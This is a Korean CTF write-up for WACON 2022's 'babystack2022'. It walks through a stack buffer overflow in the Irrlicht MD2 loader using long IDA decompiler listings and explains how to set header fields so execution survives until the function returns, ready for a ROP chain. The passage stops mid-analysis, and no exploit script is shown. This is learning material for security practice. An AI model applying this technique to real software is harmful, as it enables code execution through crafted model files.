Sechack
WACON CTF 2022 예선 - babystack2022 풀이 + 삽질 본문
대회때 하나만 해결하면 바로 rop할 수 있었는데 그걸 해결 못해서 못풀었다. 너무 미련이 남아서 대회 끝나고 막혔던 부분만 다른분 아이디어 참고해서 다시 풀어봤다. 그렇게 어려운 문제도 아니었고 막혔던 부분만 해결했으면 바로 풀 수 있었는데 너무 아쉽고 미련이 많이 남는다. 그래도 턱걸이로 본선 갔으니까... 다행이긴 하다.
대회 당시
https://irrlicht.sourceforge.io/forum/viewtopic.php?f=7&t=52785&sid=82d189da1e8d466aea667d5958334975
문제 설명을 보면 위 링크를 준다. 읽어보니까 MD2 Parser에서 Stack buffer overflow가 발생한다는 내용이다. 발생 원인과 PoC까지 매우 친절하게 설명되어 있다. Stack buffer overflow가 발생하는 원인은
u8 buffer[MD2_MAX_VERTS*4+128];
SMD2Frame* frame = (SMD2Frame*)buffer;
file->seek(header.offsetFrames);
for (i = 0; i<header.numFrames; ++i)
{
// read vertices
file->read(frame, header.frameSize);
// do some processing on the data ...
}
여기서 buffer에다가 file data를 넣는데 파일 헤더의 frameSize의 값만큼 데이터를 읽어준다. 문제는 buffer의 크기는 고정인데 frameSize에 대한 검증이 없어서 파일 헤더를 조금만 건드려주면 bof가 발생한다는 것이다.
bool __cdecl irr::scene::CMD2MeshFileLoader::loadFile(
irr::scene::CMD2MeshFileLoader *const this,
irr::io::IReadFile *file,
irr::scene::CAnimatedMeshMD2 *mesh)
{
const irr::io::path *v4; // rax
irr::core::array<irr::scene::CAnimatedMeshMD2::SMD2Vert,irr::core::irrAllocator<irr::scene::CAnimatedMeshMD2::SMD2Vert> > *k; // rbx
__int64 numFrames; // rbx
unsigned __int64 v7; // rax
__int64 v8; // r12
__int64 v9; // rbx
irr::core::array<irr::scene::CAnimatedMeshMD2::SMD2Vert,irr::core::irrAllocator<irr::scene::CAnimatedMeshMD2::SMD2Vert> > *v10; // r13
irr::core::array<short unsigned int,irr::core::irrAllocator<short unsigned int> > *p_Indices; // rdx
irr::core::array<short unsigned int,irr::core::irrAllocator<short unsigned int> > *v12; // rdx
irr::core::array<short unsigned int,irr::core::irrAllocator<short unsigned int> > *v13; // rdx
unsigned __int64 v14; // rax
const irr::io::path *v15; // rax
unsigned __int64 v16; // rax
const irr::io::path *v17; // rax
irr::u32 v18; // eax
irr::scene::CAnimatedMeshMD2::SAnimationData *v19; // rax
irr::u32 v21; // eax
irr::scene::CAnimatedMeshMD2::SAnimationData *v22; // rax
irr::scene::CAnimatedMeshMD2::SKeyFrameTransform *v23; // rax
irr::scene::CAnimatedMeshMD2::SKeyFrameTransform *v24; // rax
irr::scene::CAnimatedMeshMD2::SKeyFrameTransform *v25; // rax
irr::scene::CAnimatedMeshMD2::SKeyFrameTransform *v26; // rax
irr::scene::CAnimatedMeshMD2::SKeyFrameTransform *v27; // rax
irr::scene::CAnimatedMeshMD2::SKeyFrameTransform *v28; // rax
irr::video::S3DVertex *v29; // rax
irr::video::S3DVertex *v30; // rax
irr::video::S3DVertex *v31; // rax
float X; // [rsp+4h] [rbp-21BCh]
float v33; // [rsp+4h] [rbp-21BCh]
float Y; // [rsp+4h] [rbp-21BCh]
float v35; // [rsp+4h] [rbp-21BCh]
float Z; // [rsp+4h] [rbp-21BCh]
float v37; // [rsp+4h] [rbp-21BCh]
float v38; // [rsp+4h] [rbp-21BCh]
float v39; // [rsp+4h] [rbp-21BCh]
float v40; // [rsp+4h] [rbp-21BCh]
float v41; // [rsp+4h] [rbp-21BCh]
float v42; // [rsp+4h] [rbp-21BCh]
float v43; // [rsp+4h] [rbp-21BCh]
float v44; // [rsp+4h] [rbp-21BCh]
float v45; // [rsp+4h] [rbp-21BCh]
irr::scene::CAnimatedMeshMD2::SAnimationData adata; // [rsp+20h] [rbp-21A0h] BYREF
irr::core::vector3df pos; // [rsp+54h] [rbp-216Ch] BYREF
irr::core::aabbox3d<float> box; // [rsp+60h] [rbp-2160h] BYREF
irr::scene::CAnimatedMeshMD2::SMD2Vert v; // [rsp+7Ch] [rbp-2144h] BYREF
irr::u8 buffer[8320]; // [rsp+80h] [rbp-2140h] BYREF
irr::scene::SMD2Header header; // [rsp+2100h] [rbp-C0h] BYREF
unsigned __int16 element; // [rsp+2152h] [rbp-6Eh] BYREF
unsigned __int16 v54; // [rsp+2154h] [rbp-6Ch] BYREF
unsigned __int16 v55; // [rsp+2156h] [rbp-6Ah] BYREF
irr::video::SColor v56; // [rsp+2158h] [rbp-68h] BYREF
irr::f32 dmaxt; // [rsp+215Ch] [rbp-64h]
irr::f32 dmaxs; // [rsp+2160h] [rbp-60h]
irr::u32 num; // [rsp+2164h] [rbp-5Ch]
irr::scene::SMD2Frame *frame; // [rsp+2168h] [rbp-58h]
irr::scene::SMD2Triangle *triangles; // [rsp+2170h] [rbp-50h]
irr::scene::SMD2TextureCoordinate *textureCoords; // [rsp+2178h] [rbp-48h]
irr::s32 count; // [rsp+2180h] [rbp-40h]
irr::s32 n; // [rsp+2184h] [rbp-3Ch]
irr::s32 t; // [rsp+2188h] [rbp-38h]
irr::s32 j_0; // [rsp+218Ch] [rbp-34h]
irr::u32 ti; // [rsp+2190h] [rbp-30h]
irr::s32 j; // [rsp+2194h] [rbp-2Ch]
irr::s32 s; // [rsp+2198h] [rbp-28h]
irr::s32 i; // [rsp+219Ch] [rbp-24h]
if ( !file )
return 0;
(*file->_vptr_IReadFile)(file, &header, 68LL);
if ( *(_QWORD *)&header.magic == 0x832504449LL )
{
mesh->FrameCount = header.numFrames;
irr::core::array<irr::scene::CAnimatedMeshMD2::SKeyFrameTransform,irr::core::irrAllocator<irr::scene::CAnimatedMeshMD2::SKeyFrameTransform>>::set_used(
&mesh->FrameTransforms,
header.numFrames);
if ( mesh->FrameList )
{
for ( k = &mesh->FrameList[*((_QWORD *)&mesh->FrameList[-1] + 3)];
k != mesh->FrameList;
irr::core::array<irr::scene::CAnimatedMeshMD2::SMD2Vert,irr::core::irrAllocator<irr::scene::CAnimatedMeshMD2::SMD2Vert>>::~array(k) )
{
--k;
}
operator delete[]((char *)&mesh->FrameList[-1] + 24, 32LL * *((_QWORD *)&mesh->FrameList[-1] + 3) + 8);
}
numFrames = header.numFrames;
if ( (unsigned __int64)header.numFrames > 0x3FFFFFFFFFFFFFFLL )
v7 = -1LL;
else
v7 = 32LL * header.numFrames + 8;
v8 = operator new[](v7);
*(_QWORD *)v8 = numFrames;
v9 = numFrames - 1;
v10 = (irr::core::array<irr::scene::CAnimatedMeshMD2::SMD2Vert,irr::core::irrAllocator<irr::scene::CAnimatedMeshMD2::SMD2Vert> > *)(v8 + 8);
while ( v9 >= 0 )
{
irr::core::array<irr::scene::CAnimatedMeshMD2::SMD2Vert,irr::core::irrAllocator<irr::scene::CAnimatedMeshMD2::SMD2Vert>>::array(v10++);
--v9;
}
mesh->FrameList = (irr::core::array<irr::scene::CAnimatedMeshMD2::SMD2Vert,irr::core::irrAllocator<irr::scene::CAnimatedMeshMD2::SMD2Vert> > *)(v8 + 8);
for ( i = 0; i < header.numFrames; ++i )
irr::core::array<irr::scene::CAnimatedMeshMD2::SMD2Vert,irr::core::irrAllocator<irr::scene::CAnimatedMeshMD2::SMD2Vert>>::reallocate(
&mesh->FrameList[i],
header.numVertices,
1);
irr::core::array<irr::video::S3DVertex,irr::core::irrAllocator<irr::video::S3DVertex>>::set_used(
&mesh->InterpolationBuffer->Vertices,
3 * header.numTriangles);
irr::core::array<unsigned short,irr::core::irrAllocator<unsigned short>>::reallocate(
&mesh->InterpolationBuffer->Indices,
3 * header.numTriangles,
1);
count = 3 * header.numTriangles;
for ( i = 0; i < count; i += 3 )
{
p_Indices = &mesh->InterpolationBuffer->Indices;
element = i;
irr::core::array<unsigned short,irr::core::irrAllocator<unsigned short>>::push_back(p_Indices, &element);
v12 = &mesh->InterpolationBuffer->Indices;
v54 = i + 1;
irr::core::array<unsigned short,irr::core::irrAllocator<unsigned short>>::push_back(v12, &v54);
v13 = &mesh->InterpolationBuffer->Indices;
v55 = i + 2;
irr::core::array<unsigned short,irr::core::irrAllocator<unsigned short>>::push_back(v13, &v55);
}
(*((void (__fastcall **)(irr::io::IReadFile *, _QWORD, _QWORD))file->_vptr_IReadFile + 1))(
file,
header.offsetTexcoords,
0LL);
if ( (unsigned __int64)header.numTexcoords > 0x1FFFFFFFFFFFFFFELL )
v14 = -1LL;
else
v14 = 4LL * header.numTexcoords;
textureCoords = (irr::scene::SMD2TextureCoordinate *)operator new[](v14);
if ( (*file->_vptr_IReadFile)(file, textureCoords, (unsigned int)(4 * header.numTexcoords)) )
{
(*((void (__fastcall **)(irr::io::IReadFile *, _QWORD, _QWORD))file->_vptr_IReadFile + 1))(
file,
header.offsetTriangles,
0LL);
if ( (unsigned __int64)header.numTriangles > 0xAAAAAAAAAAAAAAALL )
v16 = -1LL;
else
v16 = 12LL * header.numTriangles;
triangles = (irr::scene::SMD2Triangle *)operator new[](v16);
if ( (*file->_vptr_IReadFile)(file, triangles, (unsigned int)(12 * header.numTriangles)) )
{
frame = (irr::scene::SMD2Frame *)buffer;
(*((void (__fastcall **)(irr::io::IReadFile *, _QWORD, _QWORD))file->_vptr_IReadFile + 1))(
file,
header.offsetFrames,
0LL);
for ( i = 0; i < header.numFrames; ++i )
{
(*file->_vptr_IReadFile)(file, frame, (unsigned int)header.frameSize);
irr::scene::CAnimatedMeshMD2::SAnimationData::SAnimationData(&adata);
adata.begin = i;
adata.end = i;
adata.fps = 7;
if ( frame->name[0] )
{
for ( s = 0; s <= 15 && frame->name[s] && (frame->name[s] <= 47 || frame->name[s] > 57); ++s )
irr::core::string<char,irr::core::irrAllocator<char>>::operator+=(&adata.name, frame->name[s]);
if ( !irr::core::array<irr::scene::CAnimatedMeshMD2::SAnimationData,irr::core::irrAllocator<irr::scene::CAnimatedMeshMD2::SAnimationData>>::empty(&mesh->AnimationData)
&& (v18 = irr::core::array<irr::scene::CAnimatedMeshMD2::SAnimationData,irr::core::irrAllocator<irr::scene::CAnimatedMeshMD2::SAnimationData>>::size(&mesh->AnimationData),
v19 = irr::core::array<irr::scene::CAnimatedMeshMD2::SAnimationData,irr::core::irrAllocator<irr::scene::CAnimatedMeshMD2::SAnimationData>>::operator[](
&mesh->AnimationData,
v18 - 1),
irr::core::string<char,irr::core::irrAllocator<char>>::operator==(&v19->name, &adata.name)) )
{
v21 = irr::core::array<irr::scene::CAnimatedMeshMD2::SAnimationData,irr::core::irrAllocator<irr::scene::CAnimatedMeshMD2::SAnimationData>>::size(&mesh->AnimationData);
v22 = irr::core::array<irr::scene::CAnimatedMeshMD2::SAnimationData,irr::core::irrAllocator<irr::scene::CAnimatedMeshMD2::SAnimationData>>::operator[](
&mesh->AnimationData,
v21 - 1);
++v22->end;
}
else
{
irr::core::array<irr::scene::CAnimatedMeshMD2::SAnimationData,irr::core::irrAllocator<irr::scene::CAnimatedMeshMD2::SAnimationData>>::push_back(
&mesh->AnimationData,
&adata);
}
}
v23 = irr::core::array<irr::scene::CAnimatedMeshMD2::SKeyFrameTransform,irr::core::irrAllocator<irr::scene::CAnimatedMeshMD2::SKeyFrameTransform>>::operator[](
&mesh->FrameTransforms,
i);
v23->scale.X = frame->scale[0];
v24 = irr::core::array<irr::scene::CAnimatedMeshMD2::SKeyFrameTransform,irr::core::irrAllocator<irr::scene::CAnimatedMeshMD2::SKeyFrameTransform>>::operator[](
&mesh->FrameTransforms,
i);
v24->scale.Z = frame->scale[1];
v25 = irr::core::array<irr::scene::CAnimatedMeshMD2::SKeyFrameTransform,irr::core::irrAllocator<irr::scene::CAnimatedMeshMD2::SKeyFrameTransform>>::operator[](
&mesh->FrameTransforms,
i);
v25->scale.Y = frame->scale[2];
v26 = irr::core::array<irr::scene::CAnimatedMeshMD2::SKeyFrameTransform,irr::core::irrAllocator<irr::scene::CAnimatedMeshMD2::SKeyFrameTransform>>::operator[](
&mesh->FrameTransforms,
i);
v26->translate.X = frame->translate[0];
v27 = irr::core::array<irr::scene::CAnimatedMeshMD2::SKeyFrameTransform,irr::core::irrAllocator<irr::scene::CAnimatedMeshMD2::SKeyFrameTransform>>::operator[](
&mesh->FrameTransforms,
i);
v27->translate.Z = frame->translate[1];
v28 = irr::core::array<irr::scene::CAnimatedMeshMD2::SKeyFrameTransform,irr::core::irrAllocator<irr::scene::CAnimatedMeshMD2::SKeyFrameTransform>>::operator[](
&mesh->FrameTransforms,
i);
v28->translate.Y = frame->translate[2];
for ( j = 0; j < header.numTriangles; ++j )
{
for ( ti = 0; ti <= 2; ++ti )
{
irr::scene::CAnimatedMeshMD2::SMD2Vert::SMD2Vert(&v);
num = triangles[j].vertexIndices[ti];
v.Pos.X = frame->vertices[num].vertex[0];
v.Pos.Z = frame->vertices[num].vertex[1];
v.Pos.Y = frame->vertices[num].vertex[2];
v.NormalIdx = frame->vertices[num].lightNormalIndex;
irr::core::array<irr::scene::CAnimatedMeshMD2::SMD2Vert,irr::core::irrAllocator<irr::scene::CAnimatedMeshMD2::SMD2Vert>>::push_back(
&mesh->FrameList[i],
&v);
}
}
if ( header.numVertices )
{
irr::core::aabbox3d<float>::aabbox3d(&box);
irr::core::vector3d<float>::vector3d(&pos);
X = (float)irr::core::array<irr::scene::CAnimatedMeshMD2::SMD2Vert,irr::core::irrAllocator<irr::scene::CAnimatedMeshMD2::SMD2Vert>>::operator[](
&mesh->FrameList[i],
0)->Pos.X;
v33 = irr::core::array<irr::scene::CAnimatedMeshMD2::SKeyFrameTransform,irr::core::irrAllocator<irr::scene::CAnimatedMeshMD2::SKeyFrameTransform>>::operator[](
&mesh->FrameTransforms,
i)->scale.X
* X;
pos.X = irr::core::array<irr::scene::CAnimatedMeshMD2::SKeyFrameTransform,irr::core::irrAllocator<irr::scene::CAnimatedMeshMD2::SKeyFrameTransform>>::operator[](
&mesh->FrameTransforms,
i)->translate.X
+ v33;
Y = (float)irr::core::array<irr::scene::CAnimatedMeshMD2::SMD2Vert,irr::core::irrAllocator<irr::scene::CAnimatedMeshMD2::SMD2Vert>>::operator[](
&mesh->FrameList[i],
0)->Pos.Y;
v35 = irr::core::array<irr::scene::CAnimatedMeshMD2::SKeyFrameTransform,irr::core::irrAllocator<irr::scene::CAnimatedMeshMD2::SKeyFrameTransform>>::operator[](
&mesh->FrameTransforms,
i)->scale.Y
* Y;
pos.Y = irr::core::array<irr::scene::CAnimatedMeshMD2::SKeyFrameTransform,irr::core::irrAllocator<irr::scene::CAnimatedMeshMD2::SKeyFrameTransform>>::operator[](
&mesh->FrameTransforms,
i)->translate.Y
+ v35;
Z = (float)irr::core::array<irr::scene::CAnimatedMeshMD2::SMD2Vert,irr::core::irrAllocator<irr::scene::CAnimatedMeshMD2::SMD2Vert>>::operator[](
&mesh->FrameList[i],
0)->Pos.Z;
v37 = irr::core::array<irr::scene::CAnimatedMeshMD2::SKeyFrameTransform,irr::core::irrAllocator<irr::scene::CAnimatedMeshMD2::SKeyFrameTransform>>::operator[](
&mesh->FrameTransforms,
i)->scale.Z
* Z;
pos.Z = irr::core::array<irr::scene::CAnimatedMeshMD2::SKeyFrameTransform,irr::core::irrAllocator<irr::scene::CAnimatedMeshMD2::SKeyFrameTransform>>::operator[](
&mesh->FrameTransforms,
i)->translate.Z
+ v37;
irr::core::aabbox3d<float>::reset(&box, &pos);
for ( j_0 = 1; j_0 < 3 * header.numTriangles; ++j_0 )
{
v38 = (float)irr::core::array<irr::scene::CAnimatedMeshMD2::SMD2Vert,irr::core::irrAllocator<irr::scene::CAnimatedMeshMD2::SMD2Vert>>::operator[](
&mesh->FrameList[i],
j_0)->Pos.X;
v39 = irr::core::array<irr::scene::CAnimatedMeshMD2::SKeyFrameTransform,irr::core::irrAllocator<irr::scene::CAnimatedMeshMD2::SKeyFrameTransform>>::operator[](
&mesh->FrameTransforms,
i)->scale.X
* v38;
pos.X = irr::core::array<irr::scene::CAnimatedMeshMD2::SKeyFrameTransform,irr::core::irrAllocator<irr::scene::CAnimatedMeshMD2::SKeyFrameTransform>>::operator[](
&mesh->FrameTransforms,
i)->translate.X
+ v39;
v40 = (float)irr::core::array<irr::scene::CAnimatedMeshMD2::SMD2Vert,irr::core::irrAllocator<irr::scene::CAnimatedMeshMD2::SMD2Vert>>::operator[](
&mesh->FrameList[i],
j_0)->Pos.Y;
v41 = irr::core::array<irr::scene::CAnimatedMeshMD2::SKeyFrameTransform,irr::core::irrAllocator<irr::scene::CAnimatedMeshMD2::SKeyFrameTransform>>::operator[](
&mesh->FrameTransforms,
i)->scale.Y
* v40;
pos.Y = irr::core::array<irr::scene::CAnimatedMeshMD2::SKeyFrameTransform,irr::core::irrAllocator<irr::scene::CAnimatedMeshMD2::SKeyFrameTransform>>::operator[](
&mesh->FrameTransforms,
i)->translate.Y
+ v41;
v42 = (float)irr::core::array<irr::scene::CAnimatedMeshMD2::SMD2Vert,irr::core::irrAllocator<irr::scene::CAnimatedMeshMD2::SMD2Vert>>::operator[](
&mesh->FrameList[i],
j_0)->Pos.Z;
v43 = irr::core::array<irr::scene::CAnimatedMeshMD2::SKeyFrameTransform,irr::core::irrAllocator<irr::scene::CAnimatedMeshMD2::SKeyFrameTransform>>::operator[](
&mesh->FrameTransforms,
i)->scale.Z
* v42;
pos.Z = irr::core::array<irr::scene::CAnimatedMeshMD2::SKeyFrameTransform,irr::core::irrAllocator<irr::scene::CAnimatedMeshMD2::SKeyFrameTransform>>::operator[](
&mesh->FrameTransforms,
i)->translate.Z
+ v43;
irr::core::aabbox3d<float>::addInternalPoint(&box, &pos);
}
irr::core::array<irr::core::aabbox3d<float>,irr::core::irrAllocator<irr::core::aabbox3d<float>>>::push_back(
&mesh->BoxList,
&box);
}
irr::scene::CAnimatedMeshMD2::SAnimationData::~SAnimationData(&adata);
}
if ( header.numFrames )
{
dmaxs = 1.0 / (float)header.skinWidth;
dmaxt = 1.0 / (float)header.skinHeight;
for ( t = 0; t < header.numTriangles; ++t )
{
for ( n = 0; n <= 2; ++n )
{
v44 = (float)textureCoords[triangles[t].textureIndices[n]].s + 0.5;
v29 = irr::core::array<irr::video::S3DVertex,irr::core::irrAllocator<irr::video::S3DVertex>>::operator[](
&mesh->InterpolationBuffer->Vertices,
3 * t + n);
v29->TCoords.X = v44 * dmaxs;
v45 = (float)textureCoords[triangles[t].textureIndices[n]].t + 0.5;
v30 = irr::core::array<irr::video::S3DVertex,irr::core::irrAllocator<irr::video::S3DVertex>>::operator[](
&mesh->InterpolationBuffer->Vertices,
3 * t + n);
v30->TCoords.Y = v45 * dmaxt;
irr::video::SColor::SColor(&v56, 0xFFu, 0xFFu, 0xFFu, 0xFFu);
v31 = irr::core::array<irr::video::S3DVertex,irr::core::irrAllocator<irr::video::S3DVertex>>::operator[](
&mesh->InterpolationBuffer->Vertices,
3 * t + n);
v31->Color = v56;
}
}
}
if ( triangles )
operator delete[](triangles);
if ( textureCoords )
operator delete[](textureCoords);
(*((void (__fastcall **)(irr::scene::CAnimatedMeshMD2 *, _QWORD, __int64, __int64, __int64))mesh->_vptr_IMesh
+ 13))(
mesh,
0LL,
255LL,
0xFFFFFFFFLL,
0xFFFFFFFFLL);
return 1;
}
else
{
if ( triangles )
operator delete[](triangles);
if ( textureCoords )
operator delete[](textureCoords);
v17 = (const irr::io::path *)(*((__int64 (__fastcall **)(irr::io::IReadFile *))file->_vptr_IReadFile + 4))(file);
irr::os::Printer::log("MD2 Loader: Error reading triangles.", v17, ELL_ERROR);
return 0;
}
}
else
{
if ( textureCoords )
operator delete[](textureCoords);
v15 = (const irr::io::path *)(*((__int64 (__fastcall **)(irr::io::IReadFile *))file->_vptr_IReadFile + 4))(file);
irr::os::Printer::log("MD2 Loader: Error reading TextureCoords.", v15, ELL_ERROR);
return 0;
}
}
else
{
v4 = (const irr::io::path *)(*((__int64 (__fastcall **)(irr::io::IReadFile *))file->_vptr_IReadFile + 4))(file);
irr::os::Printer::log("MD2 Loader: Wrong file header", v4, ELL_WARNING);
return 0;
}
}
취약점이 터지는 함수를 IDA로 보면 이렇다. 어차피 여기서 취약점이 터지고 이 함수 내에서 rip를 딸거기 때문에 다른곳
볼필요 없이 이 함수만 보면 된다.
취약점이 터지는 irr::scene::CMD2MeshFileLoader::loadFile함수 안에서 문서에 설명된것과 같은 취약점이 터진다는걸 알 수 있다. ::는 범위 지정 연산자로 irr클래스 안에 scene클래스 안에 CMD2MeshFileLoader클래스에 있는 loadFile함수를 호출한다는 뜻이다. C++이라 IDA로는 분석이 까다로울 수 있지만 오픈소스니까 소스코드 보면서 하면 분석 쉽게 할 수 있다. 심볼이 살아있어서 그런지 IDA로도 비교적 깔끔하게 나와서 어렵지 않게 분석할 수 있다.
bof를 트리거하면 가장 먼저 터지는 부분은 여기다. frame포인터는 file data가 복사된 스택 주소를 가리키고 있는데 해당 주소를 구조체로 생각해봤을때 name멤버가 올바른 주소여야 하는데 aaaaaaaa가 되기 때문에 주소 접근하다 터지는거다. Stack buffer overflow취약점을 통해서 대부분의 지역변수를 overwrite할 수 있고 PIE없으니까 그냥 바이너리 뒷부분에 있는 유효한 주소 name으로 주면 안터지고 넘어간다.
저기 맞춰주면 이제 여기서 터질텐데 여기도 루틴을 넘기는거 자체는 triangles를 유효한 주소로 주는 방법이 있고 아니면 numTriangles를 0으로 줘서 for문을 안돌게 하는 두가지 방법이 있다. 맨 아래에 있는 함수는 push_back이다.
if ( header.numVertices )
{
irr::core::aabbox3d<float>::aabbox3d(&box);
irr::core::vector3d<float>::vector3d(&pos);
X = (float)irr::core::array<irr::scene::CAnimatedMeshMD2::SMD2Vert,irr::core::irrAllocator<irr::scene::CAnimatedMeshMD2::SMD2Vert>>::operator[](
&mesh->FrameList[i],
0)->Pos.X;
v33 = irr::core::array<irr::scene::CAnimatedMeshMD2::SKeyFrameTransform,irr::core::irrAllocator<irr::scene::CAnimatedMeshMD2::SKeyFrameTransform>>::operator[](
&mesh->FrameTransforms,
i)->scale.X
* X;
pos.X = irr::core::array<irr::scene::CAnimatedMeshMD2::SKeyFrameTransform,irr::core::irrAllocator<irr::scene::CAnimatedMeshMD2::SKeyFrameTransform>>::operator[](
&mesh->FrameTransforms,
i)->translate.X
+ v33;
Y = (float)irr::core::array<irr::scene::CAnimatedMeshMD2::SMD2Vert,irr::core::irrAllocator<irr::scene::CAnimatedMeshMD2::SMD2Vert>>::operator[](
&mesh->FrameList[i],
0)->Pos.Y;
v35 = irr::core::array<irr::scene::CAnimatedMeshMD2::SKeyFrameTransform,irr::core::irrAllocator<irr::scene::CAnimatedMeshMD2::SKeyFrameTransform>>::operator[](
&mesh->FrameTransforms,
i)->scale.Y
* Y;
pos.Y = irr::core::array<irr::scene::CAnimatedMeshMD2::SKeyFrameTransform,irr::core::irrAllocator<irr::scene::CAnimatedMeshMD2::SKeyFrameTransform>>::operator[](
&mesh->FrameTransforms,
i)->translate.Y
+ v35;
Z = (float)irr::core::array<irr::scene::CAnimatedMeshMD2::SMD2Vert,irr::core::irrAllocator<irr::scene::CAnimatedMeshMD2::SMD2Vert>>::operator[](
&mesh->FrameList[i],
0)->Pos.Z;
v37 = irr::core::array<irr::scene::CAnimatedMeshMD2::SKeyFrameTransform,irr::core::irrAllocator<irr::scene::CAnimatedMeshMD2::SKeyFrameTransform>>::operator[](
&mesh->FrameTransforms,
i)->scale.Z
* Z;
pos.Z = irr::core::array<irr::scene::CAnimatedMeshMD2::SKeyFrameTransform,irr::core::irrAllocator<irr::scene::CAnimatedMeshMD2::SKeyFrameTransform>>::operator[](
&mesh->FrameTransforms,
i)->translate.Z
+ v37;
irr::core::aabbox3d<float>::reset(&box, &pos);
for ( j_0 = 1; j_0 < 3 * header.numTriangles; ++j_0 )
{
v38 = (float)irr::core::array<irr::scene::CAnimatedMeshMD2::SMD2Vert,irr::core::irrAllocator<irr::scene::CAnimatedMeshMD2::SMD2Vert>>::operator[](
&mesh->FrameList[i],
j_0)->Pos.X;
v39 = irr::core::array<irr::scene::CAnimatedMeshMD2::SKeyFrameTransform,irr::core::irrAllocator<irr::scene::CAnimatedMeshMD2::SKeyFrameTransform>>::operator[](
&mesh->FrameTransforms,
i)->scale.X
* v38;
pos.X = irr::core::array<irr::scene::CAnimatedMeshMD2::SKeyFrameTransform,irr::core::irrAllocator<irr::scene::CAnimatedMeshMD2::SKeyFrameTransform>>::operator[](
&mesh->FrameTransforms,
i)->translate.X
+ v39;
v40 = (float)irr::core::array<irr::scene::CAnimatedMeshMD2::SMD2Vert,irr::core::irrAllocator<irr::scene::CAnimatedMeshMD2::SMD2Vert>>::operator[](
&mesh->FrameList[i],
j_0)->Pos.Y;
v41 = irr::core::array<irr::scene::CAnimatedMeshMD2::SKeyFrameTransform,irr::core::irrAllocator<irr::scene::CAnimatedMeshMD2::SKeyFrameTransform>>::operator[](
&mesh->FrameTransforms,
i)->scale.Y
* v40;
pos.Y = irr::core::array<irr::scene::CAnimatedMeshMD2::SKeyFrameTransform,irr::core::irrAllocator<irr::scene::CAnimatedMeshMD2::SKeyFrameTransform>>::operator[](
&mesh->FrameTransforms,
i)->translate.Y
+ v41;
v42 = (float)irr::core::array<irr::scene::CAnimatedMeshMD2::SMD2Vert,irr::core::irrAllocator<irr::scene::CAnimatedMeshMD2::SMD2Vert>>::operator[](
&mesh->FrameList[i],
j_0)->Pos.Z;
v43 = irr::core::array<irr::scene::CAnimatedMeshMD2::SKeyFrameTransform,irr::core::irrAllocator<irr::scene::CAnimatedMeshMD2::SKeyFrameTransform>>::operator[](
&mesh->FrameTransforms,
i)->scale.Z
* v42;
pos.Z = irr::core::array<irr::scene::CAnimatedMeshMD2::SKeyFrameTransform,irr::core::irrAllocator<irr::scene::CAnimatedMeshMD2::SKeyFrameTransform>>::operator[](
&mesh->FrameTransforms,
i)->translate.Z
+ v43;
irr::core::aabbox3d<float>::addInternalPoint(&box, &pos);
}
irr::core::array<irr::core::aabbox3d<float>,irr::core::irrAllocator<irr::core::aabbox3d<float>>>::push_back(
&mesh->BoxList,
&box);
}
irr::scene::CAnimatedMeshMD2::SAnimationData::~SAnimationData(&adata);
}
if ( header.numFrames )
{
dmaxs = 1.0 / (float)header.skinWidth;
dmaxt = 1.0 / (float)header.skinHeight;
for ( t = 0; t < header.numTriangles; ++t )
{
for ( n = 0; n <= 2; ++n )
{
v44 = (float)textureCoords[triangles[t].textureIndices[n]].s + 0.5;
v29 = irr::core::array<irr::video::S3DVertex,irr::core::irrAllocator<irr::video::S3DVertex>>::operator[](
&mesh->InterpolationBuffer->Vertices,
3 * t + n);
v29->TCoords.X = v44 * dmaxs;
v45 = (float)textureCoords[triangles[t].textureIndices[n]].t + 0.5;
v30 = irr::core::array<irr::video::S3DVertex,irr::core::irrAllocator<irr::video::S3DVertex>>::operator[](
&mesh->InterpolationBuffer->Vertices,
3 * t + n);
v30->TCoords.Y = v45 * dmaxt;
irr::video::SColor::SColor(&v56, 0xFFu, 0xFFu, 0xFFu, 0xFFu);
v31 = irr::core::array<irr::video::S3DVertex,irr::core::irrAllocator<irr::video::S3DVertex>>::operator[](
&mesh->InterpolationBuffer->Vertices,
3 * t + n);
v31->Color = v56;
}
}
}
마찬가지로 아래 루틴들도 조건문에서 검증하는 멤버의 값을 0으로만 주면 루틴을 거치지 않을 수 있다.
그리고 최종적으로 여기서 return을 하게 되는데 여기서 문제가 생기게 된다. 일단 triangles와 textureCoords가 모두 0이고 for문에 조건문에 있는 멤버변수들, if문에서 참인지 검증하는 멤버변수들 전부 0으로 줘서 위에 루틴들 전부 실행 안하고 여기까지 올 수는 있다. 근데 그렇게 될 경우 return직전에 함수포인터에서 abort를 뿜고 터지게 된다.
이런 에러를 뿜게 되는데 이게 왜 나오는지 분석해보았다.
일단 함수포인터에서 뭐가 호출되는지부터 봤다.
irr::scene::CAnimatedMeshMD2::getMesh함수가 호출이 된다.
irr::scene::IMesh *__cdecl irr::scene::CAnimatedMeshMD2::getMesh(
irr::scene::CAnimatedMeshMD2 *const this,
irr::s32 frame,
irr::s32 detailLevel,
irr::s32 startFrameLoop,
irr::s32 endFrameLoop)
{
unsigned int framea; // [rsp+14h] [rbp-1Ch]
framea = frame;
if ( (*((unsigned int (__fastcall **)(irr::scene::CAnimatedMeshMD2 *const))this->_vptr_IMesh + 10))(this) < frame )
framea = frame
% (*((unsigned int (__fastcall **)(irr::scene::CAnimatedMeshMD2 *const))this->_vptr_IMesh + 10))(this);
if ( startFrameLoop == -1 && endFrameLoop == -1 )
{
startFrameLoop = 0;
endFrameLoop = (*((__int64 (__fastcall **)(irr::scene::CAnimatedMeshMD2 *const))this->_vptr_IMesh + 10))(this);
}
irr::scene::CAnimatedMeshMD2::updateInterpolationBuffer(this, framea, startFrameLoop, endFrameLoop);
return (irr::scene::IMesh *)this;
}
여기서 irr::scene::CAnimatedMeshMD2::updateInterpolationBuffer가 호출이 된다.
void __cdecl irr::scene::CAnimatedMeshMD2::updateInterpolationBuffer(
irr::scene::CAnimatedMeshMD2 *const this,
irr::s32 frame,
irr::s32 startFrameLoop,
irr::s32 endFrameLoop)
{
irr::scene::CAnimatedMeshMD2::SKeyFrameTransform *v4; // rax
irr::scene::CAnimatedMeshMD2::SKeyFrameTransform *v5; // rax
irr::scene::SMeshBuffer *InterpolationBuffer; // rbx
void (__fastcall *v7)(irr::scene::SMeshBuffer *, irr::core::aabbox3d<float> *); // r12
irr::core::aabbox3d<float> *v8; // r13
irr::core::aabbox3d<float> *v9; // rax
float X; // [rsp+0h] [rbp-E0h]
float v11; // [rsp+0h] [rbp-E0h]
float v12; // [rsp+0h] [rbp-E0h]
float v13; // [rsp+0h] [rbp-E0h]
float ny; // [rsp+4h] [rbp-DCh]
float nya; // [rsp+4h] [rbp-DCh]
float nyb; // [rsp+4h] [rbp-DCh]
